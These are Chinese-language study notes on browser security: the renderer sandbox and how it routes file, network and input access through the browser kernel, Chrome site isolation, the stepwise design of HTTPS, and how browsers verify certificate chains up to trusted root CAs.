由于安全沙箱需要负责确保渲染进程无法直接访问用户的文件系统,但是在渲染进程内部有访问 Cookie 的需求、有上传文件的需求,为了解决这些文件的访问需求,所以现代浏览器将读写文件的操作全部放在了浏览器内核中实现,然后通过 IPC 将操作结果转发给渲染进程。
具体地讲,如下文件内容的读写都是在浏览器内核中完成的:
存储 Cookie 数据的读写。通常浏览器内核会维护一个存放所有 Cookie 的 Cookie 数据库,然后当渲染进程通过 JavaScript 来读取 Cookie 时,渲染进程会通过 IPC 将读取 Cookie 的信息发送给浏览器内核,浏览器内核读取 Cookie 之后再将内容返回给渲染进程。
一些缓存文件的读写也是由浏览器内核实现的,比如网络文件缓存的读取。
# 2. 网络访问
同样有了安全沙箱的保护,在渲染进程内部也是不能直接访问网络的,如果要访问网络,则需要通过浏览器内核。
不过浏览器内核在处理 URL 请求之前,会检查渲染进程是否有权限请求该 URL,比如检查 XMLHttpRequest 或者 Fetch 是否是跨站点请求,或者检测 HTTPS 的站点中是否包含了 HTTP 的请求。
# 3. 用户交互
渲染进程实现了安全沙箱,还影响到了一个非常重要的用户交互功能。
通常情况下,如果你要实现一个 UI 程序,操作系统会提供一个界面给你,该界面允许应用程序与用户交互,允许应用程序在该界面上进行绘制,比如 Windows 提供的是 HWND,Linux 提供的 X Window,我们就把 HWND 和 X Window 统称为窗口句柄。应用程序可以在窗口句柄上进行绘制和接收键盘鼠标消息。
不过在现代浏览器中,由于每个渲染进程都有安全沙箱的保护,所以在渲染进程内部是无法直接操作窗口句柄的,这也是为了限制渲染进程监控到用户的输入事件。
由于渲染进程不能直接访问窗口句柄,所以渲染进程需要完成以下两点大的改变。
第一点,渲染进程需要渲染出位图。为了向用户显示渲染进程渲染出来的位图,渲染进程需要将生成好的位图发送到浏览器内核,然后浏览器内核将位图复制到屏幕上。
第二点,操作系统没有将用户输入事件直接传递给渲染进程,而是将这些事件传递给浏览器内核。然后浏览器内核再根据当前浏览器界面的状态来判断如何调度这些事件,如果当前焦点位于浏览器地址栏中,则输入事件会在浏览器内核内部处理;如果当前焦点在页面的区域内,则浏览器内核会将输入事件转发给渲染进程。
之所以这样设计,就是为了限制渲染进程有监控到用户输入事件的能力,所以所有的键盘鼠标事件都是由浏览器内核来接收的,然后浏览器内核再通过 IPC 将这些事件发送给渲染进程。
上面我们分析了由于渲染进程引入了安全沙箱,所以浏览器的持久存储、网络访问和用户交互等功能都不能在渲染进程内直接使用了,因此我们需要把这些功能迁移到浏览器内核中去实现,这让原本比较简单的流程变得复杂了。
理解这些限制,我们就能解释开始提出的两个问题了。
# 站点隔离(Site Isolation)
所谓站点隔离是指 Chrome 将同一站点(包含了相同根域名和相同协议的地址)中相互关联的页面放到同一个渲染进程中执行。
最开始 Chrome 划分渲染进程是以标签页为单位,也就是说整个标签页会被划分给某个渲染进程。
但是,按照标签页划分渲染进程存在一些问题,原因就是一个标签页中可能包含了多个 iframe,而这些 iframe 又有可能来自于不同的站点,这就导致了多个不同站点中的内容通过 iframe 同时运行在同一个渲染进程中。
目前所有操作系统都面临着两个 A 级漏洞 —— 幽灵(Spectre)和熔毁(Meltdown),这两个漏洞是由处理器架构导致的,很难修补,黑客通过这两个漏洞可以直接入侵到进程的内部,如果入侵的进程没有安全沙箱的保护,那么黑客还可以发起对操作系统的攻击。
所以如果一个银行站点包含了一个恶意 iframe,然后这个恶意的 iframe 利用这两个 A 级漏洞去入侵渲染进程,那么恶意程序就能读取银行站点渲染进程内的所有内容了,这对于用户来说就存在很大的风险了。
因此 Chrome 几年前就开始重构代码,将标签级的渲染进程重构为 iframe 级的渲染进程,然后严格按照同一站点的策略来分配渲染进程,这就是 Chrome 中的站点隔离。
实现了站点隔离,就可以将恶意的 iframe 隔离在恶意进程内部,使得它无法继续访问其他 iframe 进程的内容,因此也就无法攻击其他站点了。
值得注意是,2019 年 10 月 20 日 Chrome 团队宣布安卓版的 Chrome 已经全面支持站点隔离,可以参考文中链接 (opens new window)。
# 评论区学习
# HTTPS:让数据传输更安全
本文接着来聊聊网络安全协议 HTTPS。
我们先从 HTTP 的明文传输的特性讲起,在上一个模块的三篇文章中我们分析过,起初设计 HTTP 协议的目的很单纯,就是为了传输超文本文件,那时候也没有太强的加密传输的数据需求,所以 HTTP 一直保持着明文传输数据的特征。但这样的话,在传输过程中的每一个环节,数据都有可能被窃取或者篡改,这也意味着你和服务器之间还可能有个中间人,你们在通信过程中的一切内容都在中间人的掌握中,如下图:
从上图可以看出,我们使用 HTTP 传输的内容很容易被中间人窃取、伪造和篡改,通常我们把这种攻击方式称为中间人攻击。
具体来讲,在将 HTTP 数据提交给 TCP 层之后,数据会经过用户电脑、WiFi 路由器、运营商和目标服务器,在这中间的每个环节中,数据都有可能被窃取或篡改。
比如用户电脑被黑客安装了恶意软件,那么恶意软件就能抓取和篡改所发出的 HTTP 请求的内容。或者用户一不小心连接上了 WiFi 钓鱼路由器,那么数据也都能被黑客抓取或篡改。
# 在 HTTP 协议栈中引入安全层
从 HTTP 协议栈层面来看,我们可以在 TCP 和 HTTP 之间插入一个安全层,所有经过安全层的数据都会被加密或者解密,可以参考下图:
从图中我们可以看出,HTTPS 并非是一个新的协议,通常 HTTP 直接和 TCP 通信,HTTPS 则先和安全层通信,然后安全层再和 TCP 层通信。
也就是说 HTTPS 所有的安全核心都在安全层,它不会影响到上面的 HTTP 协议,也不会影响到下面的 TCP/IP,因此要搞清楚 HTTPS 是如何工作的,就要弄清楚安全层是怎么工作的。
总的来说,安全层有两个主要的职责:对发起 HTTP 请求的数据进行加密操作和对接收到 HTTP 的内容进行解密操作。
# 实现一个从简单到复杂的 HTTPS 协议
我们知道了安全层最重要的就是加解密,那么接下来我们就利用这个安全层,一步一步实现一个从简单到复杂的 HTTPS 协议。
# 第一版:使用对称加密
提到加密,最简单的方式是使用对称加密。
所谓对称加密是指加密和解密都使用的是相同的密钥。
了解了对称加密,下面我们就使用对称加密来实现第一版的 HTTPS。
要在两台电脑上加解密同一个文件,我们至少需要知道加解密方式和密钥,因此,在 HTTPS 发送数据之前,浏览器和服务器之间需要协商加密方式和密钥,过程如下所示:
通过上图我们可以看出,HTTPS 首先要协商加解密方式,这个过程就是 HTTPS 建立安全连接的过程。
为了让加密的密钥更加难以破解,我们让服务器和客户端同时决定密钥,具体过程如下:
浏览器发送它所支持的加密套件列表和一个随机数 client-random,这里的加密套件是指加密的方法,加密套件列表就是指浏览器能支持多少种加密方法列表。
服务器会从加密套件列表中选取一个加密套件,然后还会生成一个随机数 service-random,并将 service-random 和加密套件列表返回给浏览器。
最后浏览器和服务器分别返回确认消息。
这样浏览器端和服务器端都有相同的 client-random 和 service-random 了,然后它们再使用相同的方法将 client-random 和 service-random 混合起来生成一个密钥 master secret,有了密钥 master secret 和加密套件之后,双方就可以进行数据的加密传输了。
通过将对称加密应用在安全层上,我们实现了第一个版本的 HTTPS,虽然这个版本能够很好地工作,但是其中传输 client-random 和 service-random 的过程却是明文的,这意味着黑客也可以拿到协商的加密套件和双方的随机数,由于利用随机数合成密钥的算法是公开的,所以黑客拿到随机数之后,也可以合成密钥,这样数据依然可以被破解,那么黑客也就可以使用密钥来伪造或篡改数据了。
# 第二版:使用非对称加密
不过非对称加密能够解决这个问题,因此接下来我们就利用非对称加密来实现我们第二版的 HTTPS,不过在讨论具体的实现之前,我们先看看什么是非对称加密。
非对称加密算法有 A、B 两把密钥,如果你用 A 密钥来加密,那么只能使用 B 密钥来解密;反过来,如果你要 B 密钥来加密,那么只能用 A 密钥来解密。
在 HTTPS 中,服务器会将其中的一个密钥通过明文的形式发送给浏览器,我们把这个密钥称为公钥,服务器自己留下的那个密钥称为私钥。
顾名思义,公钥是每个人都能获取到的,而私钥只有服务器才能知道,不对任何人公开。
下图是使用非对称加密改造的 HTTPS 协议:
根据该图,我们来分析下使用非对称加密的请求流程。
首先浏览器还是发送加密套件列表给服务器。
然后服务器会选择一个加密套件,不过和对称加密不同的是,使用非对称加密时服务器上需要有用于浏览器加密的公钥和服务器解密 HTTP 数据的私钥,由于公钥是给浏览器加密使用的,因此服务器会将加密套件和公钥一道发送给浏览器。
最后就是浏览器和服务器返回确认消息。
这样浏览器端就有了服务器的公钥,在浏览器端向服务器端发送数据时,就可以使用该公钥来加密数据。由于公钥加密的数据只有私钥才能解密,所以即便黑客截获了数据和公钥,他也是无法使用公钥来解密数据的。
因此采用非对称加密,就能保证浏览器发送给服务器的数据是安全的了,这看上去似乎很完美,不过这种方式依然存在两个严重的问题。
第一个是非对称加密的效率太低。这会严重影响到加解密数据的速度,进而影响到用户打开页面的速度。
第二个是无法保证服务器发送给浏览器的数据安全。虽然浏览器端可以使用公钥来加密,但是服务器端只能采用私钥来加密,私钥加密只有公钥能解密,但黑客也是可以获取得到公钥的,这样就不能保证服务器端数据的安全了。
# 第三版:对称加密和非对称加密搭配使用
基于以上两点原因,我们最终选择了一个更加完美的方案,那就是在传输数据阶段依然使用对称加密,但是对称加密的密钥我们采用非对称加密来传输。
下图就是改造后的版本:
从图中可以看出,改造后的流程是这样的:
首先浏览器向服务器发送对称加密套件列表、非对称加密套件列表和随机数 client-random;
服务器保存随机数 client-random,选择对称加密和非对称加密的套件,然后生成随机数 service-random,向浏览器发送选择的加密套件、service-random 和公钥;
浏览器保存公钥,并生成随机数 pre-master,然后利用公钥对 pre-master 加密,并向服务器发送加密后的数据;
最后服务器拿出自己的私钥,解密出 pre-master 数据,并返回确认消息。
到此为止,服务器和浏览器就有了共同的 client-random、service-random 和 pre-master,然后服务器和浏览器会使用这三组随机数生成对称密钥,因为服务器和浏览器使用同一套方法来生成密钥,所以最终生成的密钥也是相同的。
有了对称加密的密钥之后,双方就可以使用对称加密的方式来传输数据了。
需要特别注意的一点,pre-master 是经过公钥加密之后传输的,所以黑客无法获取到 pre-master,这样黑客就无法生成密钥,也就保证了黑客无法破解传输过程中的数据了。
# 第四版:添加数字证书
通过对称和非对称混合方式,我们完美地实现了数据的加密传输。
不过这种方式依然存在着问题,比如我要打开极客时间的官网,但是黑客通过 DNS 劫持将极客时间官网的 IP 地址替换成了黑客的 IP 地址,这样我访问的其实是黑客的服务器了,黑客就可以在自己的服务器上实现公钥和私钥,而对浏览器来说,它完全不知道现在访问的是个黑客的站点。
所以我们还需要服务器向浏览器提供证明 “我就是我”,那怎么证明呢?
这里我们结合实际生活中的一个例子,比如你要买房子,首先你需要给房管局提交你买房的材料,包括银行流水、银行证明、身份证等,然后房管局工作人员在验证无误后,会发给你一本盖了章的房产证,房产证上包含了你的名字、身份证号、房产地址、实际面积、公摊面积等信息。
在这个例子中,你之所以能证明房子是你自己的,是因为引进了房管局这个权威机构,并通过这个权威机构给你颁发一个证书:房产证。
同理,极客时间要证明这个服务器就是极客时间的,也需要使用权威机构颁发的证书,这个权威机构称为 CA(Certificate Authority),颁发的证书就称为数字证书(Digital Certificate)。
对于浏览器来说,数字证书有两个作用:
一个是通过数字证书向浏览器证明服务器的身份;
另一个是数字证书里面包含了服务器公钥。
接下来我们看看含有数字证书的 HTTPS 的请求流程,可以参考下图:
相较于第三版的 HTTPS 协议,这里主要有两点改变:
服务器没有直接返回公钥给浏览器,而是返回了数字证书,而公钥正是包含在数字证书中的;
在浏览器端多了一个证书验证的操作,验证了证书之后,才继续后续流程。
通过引入数字证书,我们就实现了服务器的身份认证功能,这样即便黑客伪造了服务器,但是由于证书是没有办法伪造的,所以依然无法欺骗用户。
# 数字证书的申请和验证
通过上面四个版本的迭代,我们实现了目前的 HTTPS 架构。
在第四版的 HTTPS 中,我们提到过,有了数字证书,黑客就无法欺骗用户了,不过我们并没有解释清楚如何通过数字证书来证明用户身份,所以接下来我们再来把这个问题解释清楚。
# 如何申请数字证书
我们先来看看如何向 CA 申请证书。比如极客时间需要向某个 CA 去申请数字证书,通常的申请流程分以下几步:
首先极客时间需要准备一套私钥和公钥,私钥留着自己使用;
然后极客时间向 CA 机构提交公钥、公司、站点等信息并等待认证,这个认证过程可能是收费的;
CA 通过线上、线下等多种渠道来验证极客时间所提供信息的真实性,如公司是否存在、企业是否合法、域名是否归属该企业等;
如信息审核通过,CA 会向极客时间签发认证的数字证书,包含了极客时间的公钥、组织信息、CA 的信息、有效时间、证书序列号等,这些信息都是明文的,同时包含一个 CA 生成的签名。
这样我们就完成了极客时间数字证书的申请过程。
前面几步都很好理解,不过最后一步数字签名的过程还需要解释下:
首先 CA 使用 Hash 函数来计算极客时间提交的明文信息,并得出信息摘要;
然后 CA 再使用它的私钥对信息摘要进行加密,加密后的密文就是 CA 颁给极客时间的数字签名。
这就相当于房管局在房产证上盖的章,这个章是可以去验证的,同样我们也可以通过数字签名来验证是否是该 CA 颁发的。
# 浏览器如何验证数字证书
有了 CA 签名过的数字证书,当浏览器向极客时间服务器发出请求时,服务器会返回数字证书给浏览器。
浏览器接收到数字证书之后,会对数字证书进行验证。
首先浏览器读取证书中相关的明文信息,采用 CA 签名时相同的 Hash 函数来计算并得到信息摘要 A;
然后再利用对应 CA 的公钥解密签名数据,得到信息摘要 B;
对比信息摘要 A 和信息摘要 B,如果一致,则可以确认证书是合法的,即证明了这个服务器是极客时间的;
同时浏览器还会验证证书相关的域名信息、有效时间等信息。
这时候相当于验证了 CA 是谁,但是这个 CA 可能比较小众,浏览器不知道该不该信任它,然后浏览器会继续查找给这个 CA 颁发证书的 CA,再以同样的方式验证它上级 CA 的可靠性。
通常情况下,操作系统中会内置信任的顶级 CA 的证书信息(包含公钥),如果这个 CA 链中没有找到浏览器内置的顶级的 CA,证书也会被判定非法。
另外,在申请和使用证书的过程中,还需要注意以下三点:
申请数字证书是不需要提供私钥的,要确保私钥永远只能由服务器掌握;
数字证书最核心的是 CA 使用它的私钥生成的数字签名;
内置 CA 对应的证书称为根证书,根证书是最权威的机构,它们自己为自己签名,我们把这称为自签名证书。
# 评论区学习
# HTTPS:浏览器如何验证数字证书?
了解了这个问题,可以方便我们把完整的 HTTPS 流程给串起来,无论对于我们理解 HTTPS 的底层技术还是理解业务都是非常有帮助的。
在分析之前,我们还是有必要回顾下数字证书申请流程和浏览器验证证书的流程。
# 数字证书申请流程
比如极客时间向一个 CA 机构申请数字证书,流程是什么样的呢?
首先极客时间填写了一张含有自己身份信息的表单,身份信息包括了自己公钥、站点资料、公司资料等信息,然后将其提交给了 CA 机构;CA 机构会审核表单中内容的真实性;审核通过后,CA 机构会拿出自己的私钥,对表单的内容进行一连串操作,包括了对明文资料进行 Hash 计算得出信息摘要, 利用 CA 的私钥加密信息摘要得出数字签名,最后将数字签名也写在表单上,并将其返还给极客时间,这样就完成了一次数字证书的申请操作。
大致流程也可以参考下图:
# 浏览器验证证书的流程
现在极客时间的官网有了 CA 机构签发的数字证书,那么接下来就可以将数字证书应用在 HTTPS 中了。
我们知道,在浏览器和服务器建立 HTTPS 链接的过程中,浏览器首先会向服务器请求数字证书,之后浏览器要做的第一件事就是验证数字证书。
那么,这里所说的 “验证”,它到底是在验证什么呢?
具体地讲,浏览器需要验证证书的有效期、证书是否被 CA 吊销、证书是否是合法的 CA 机构颁发的。
数字证书和身份证一样也是有时间期限的,所以第一部分就是验证证书的有效期,这部分比较简单,因为证书里面就含有证书的有效期,所以浏览器只需要判断当前时间是否在证书的有效期范围内即可。
有时候有些数字证书被 CA 吊销了,吊销之后的证书是无法使用的,所以第二部分就是验证数字证书是否被吊销了。通常有两种方式,一种是下载吊销证书列表 -CRL (Certificate Revocation Lists),第二种是在线验证方式 -OCSP (Online Certificate Status Protocol) ,它们各有优缺点,这里就不展开介绍了。
最后,还要验证极客时间的数字证书是否是 CA 机构颁发的,验证的流程非常简单:
首先,浏览器利用证书的原始信息计算出信息摘要;
然后,利用 CA 的公钥来解密数字证书中的数字签名,解密出来的数据也是信息摘要;
最后,判断这两个信息摘要是否相等就可以了。
通过这种方式就验证了数字证书是否是由 CA 机构所签发的,不过这种方式又带来了一个新的疑问:浏览器是怎么获取到 CA 公钥的?
# 浏览器是怎么获取到 CA 公钥的?
通常,当你部署 HTTP 服务器的时候,除了部署当前的数字证书之外,还需要部署 CA 机构的数字证书,CA 机构的数字证书包括了 CA 的公钥,以及 CA 机构的一些基础信息。
因此,极客时间服务器就有了两个数字证书:
给极客时间域名的数字证书;
给极客时间签名的 CA 机构的数字证书。
然后在建立 HTTPS 链接时,服务器会将这两个证书一同发送给浏览器,于是浏览器就可以获取到 CA 的公钥了。
如果有些服务器没有部署 CA 的数字证书,那么浏览器还可以通过网络去下载 CA 证书,不过这种方式多了一次证书下载操作,会拖慢首次打开页面的请求速度,一般不推荐使用。
现在浏览器端就有了极客时间的证书和 CA 的证书,完整的验证流程就如下图所示:
我们有了 CA 的数字证书,也就可以获取到 CA 的公钥来验证极客时间数字证书的可靠性了。
解决了获取 CA 公钥的问题,新的问题又来了,如果这个证书是一个恶意的 CA 机构颁发的怎么办?
所以我们还需要浏览器证明这个 CA 机构是个合法的机构。
# 证明 CA 机构的合法性
这里并没有一个非常好的方法来证明 CA 的合法性,妥协的方案是,直接在操作系统中内置这些 CA 机构的数字证书,如下图所示:
我们将所有 CA 机构的数字证书都内置在操作系统中,这样当需要使用某 CA 机构的公钥时,我们只需要依据 CA 机构名称,就能查询到对应的数字证书了,然后再从数字证书中取出公钥。
可以看到,这里有一个假设条件,浏览器默认信任操作系统内置的证书为合法证书,虽然这种方式不完美,但是却是最实用的一个。
不过这种方式依然存在问题,因为在实际情况下,CA 机构众多,因此操作系统不可能将每家 CA 的数字证书都内置进操作系统。
# 数字证书链
于是人们又想出来一个折中的方案,将颁发证书的机构划分为两种类型,根 CA(Root CAs)和中间 CA(Intermediates CAs),通常申请者都是向中间 CA 去申请证书的,而根 CA 作用就是给中间 CA 做认证,一个根 CA 会认证很多中间的 CA,而这些中间 CA 又可以去认证其他的中间 CA。
因此,每个根 CA 机构都维护了一个树状结构,一个根 CA 下面包含多个中间 CA,而中间 CA 又可以包含多个中间 CA。这样就形成了一个证书链,你可以沿着证书链从用户证书追溯到根证书。
比如你可以在 Chrome 上打开极客时间的官网,然后点击地址栏前面的那把小锁,你就可以看到 *.geekbang.org
的证书是由中间 CA GeoTrust RSA CA2018 颁发的,而中间 CA GeoTrust RSA CA2018 又是由根 CA DigiCert Global Root CA 颁发的,所以这个证书链就是:*.geekbang.org—>GeoTrust RSA CA2018–>DigiCert Global Root CA
。可以参看下图:
因此浏览器验证极客时间的证书时,会先验证 *.geekbang.org 的证书,如果合法,再验证中间 CA 的证书,如果中间 CA 也是合法的,那么浏览器会继续验证这个中间 CA 的根证书。
到了这里,依然存在一个问题,那就是浏览器怎么证明根证书是合法的?
# 如何验证根证书的合法性
其实浏览器的判断策略很简单,它只是简单地判断这个根证书在不在操作系统里面,如果在,那么浏览器就认为这个根证书是合法的,如果不在,那么就是非法的。
如果某个机构想要成为根 CA,并让它的根证书内置到操作系统中,那么这个机构首先要通过 WebTrust 国际安全审计认证。
什么是 WebTrust 认证?
WebTrust 是由两大著名注册会计师协会 AICPA(美国注册会计师协会)和 CICA(加拿大注册会计师协会)共同制定的安全审计标准,主要对互联网服务商的系统及业务运作逻辑安全性、保密性等共计七项内容进行近乎严苛的审查和鉴证。只有通过 WebTrust 国际安全审计认证,根证书才能预装到主流的操作系统,并成为一个可信的认证机构。
目前通过 WebTrust 认证的根 CA 有 Comodo、geotrust、rapidssl、symantec、thawte、digicert 等。也就是说,这些根 CA 机构的根证书都内置在个大操作系统中,只要能从数字证书链往上追溯到这几个根证书,浏览器就会认为使用者的证书是合法的。